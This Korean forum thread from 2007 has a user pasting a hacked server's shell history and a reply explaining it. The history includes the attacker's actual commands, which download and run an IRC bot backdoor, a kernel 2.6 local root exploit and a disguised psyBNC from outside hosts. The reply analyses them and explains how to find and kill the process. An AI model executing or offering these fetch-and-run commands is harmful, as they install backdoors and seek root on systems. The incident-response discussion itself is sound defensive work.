리눅스에서 이 작업들이 뭘 의미하는건지 모르겠네요
글쓴이: lynn_kor / 작성시간: 금, 2007/06/22 - 1:17오전
도와주세요.
개인 서버가 해킹을 당한듯 싶네요;
계정 아이디 test에 암호 test 잠깐 만들어놓고
지운다는걸 깜빡해서
이렇게 일이 생긴 것 같네요ㅠㅠ
uname -a
passwd
cat /proc/cpuinfo
/sbin/ifconfig | grep inet
cd /var/tmp; wget trifbianca.xhost.ro/botu.tgz; tar xzvf botu.tgz; rm -rf botu.tgz; cd .www; export PATH="."; crond
exit
w
cd /var/tmp
wget trifbianca.xhost.ro/2.6.tgz
tar xzvf 2.6.tgz
rm -rf 2.6.tgz
./2.6
rm -rf 2.6
uname -a
exit
ps aux
exit
cd /var/tmp
wget geocities.com/ciioara/bash.tgz ; tar xzvf bash.tgz ; rm -rf bash.tgz ; cd bash ; chmod +x *
wget trifbianca.xhost.ro/pico.tgz
tar xzvf pico.tgz
rm -rf pico.tgz
ls -as
./pico psybnc.conf
export PATH="." ; ntpd
exit
Forums:
흠. 일단 3가지
흠. 일단 3가지 작업을 했네요. 먼저
passwd 는 왜 했는지 모르겠고, uname 과 cpuinfo 를 이용하여 OS 와 CPU type 을 확인했습니다.
bout.tgz 를 받아서 압축을 풀고, crond 를 띄었네요. crond 는 IRC Bot 인듯 싶습니다.. 백도어로 보통 많이 사용하죠. 특정 호스트들의 6667 번 포트로 연결 시도를 하네요. "string crond" 로 확인해 보실 수 있으며, 해당 파일의 압축을 풀면 소스도 들어 있네요. 열리는 포트는 32817 입니다. netstat -anpt 명령으로 해당 프로세스의 PID 를 찾을 수 있습니다. 사뿐히 죽여 주세요.
2.6.tgz 는 커널 2.6 의 local exploit 입니다. 여기서 root shell 을 따내려고 시도하네요.
이런 짓거리를 하는 것 같습니다. :-) 이 경우는 process 가 hidden 이 될 지도 모르겠네요. ps 로 확인을 하는 것으로 보아서는 말이죠.
bash.tgz 는 pysBNC 라는 놈인데 ntpd 라는 바이너리 이름으로 빌드를 해 노았습니다. 이게 설정 파일에 있는 값 중에서 overflow 를 발생시킬 수 있는 것 같은데, 이 BoF 를 이용해서 backdoor 를 생성하는 듯 싶습니다. pysBNC 로 검색해 보시면 이에 대한 글들을 볼 수 있네요.
일단, ./2.6 을 실행했을때 root 권한을 획득했다면.. 아마 rootkit 이 설치되었을 수도 있을 듯 싶습니다.
소스 코드가 있기는
소스 코드가 있기는 한데, 귀찮아서 그냥 strings 로 분석한 것이라.. 이 넘이 한 작업중에 제가 잘못 판단한 것일 수도 있습니다.
댓글 달기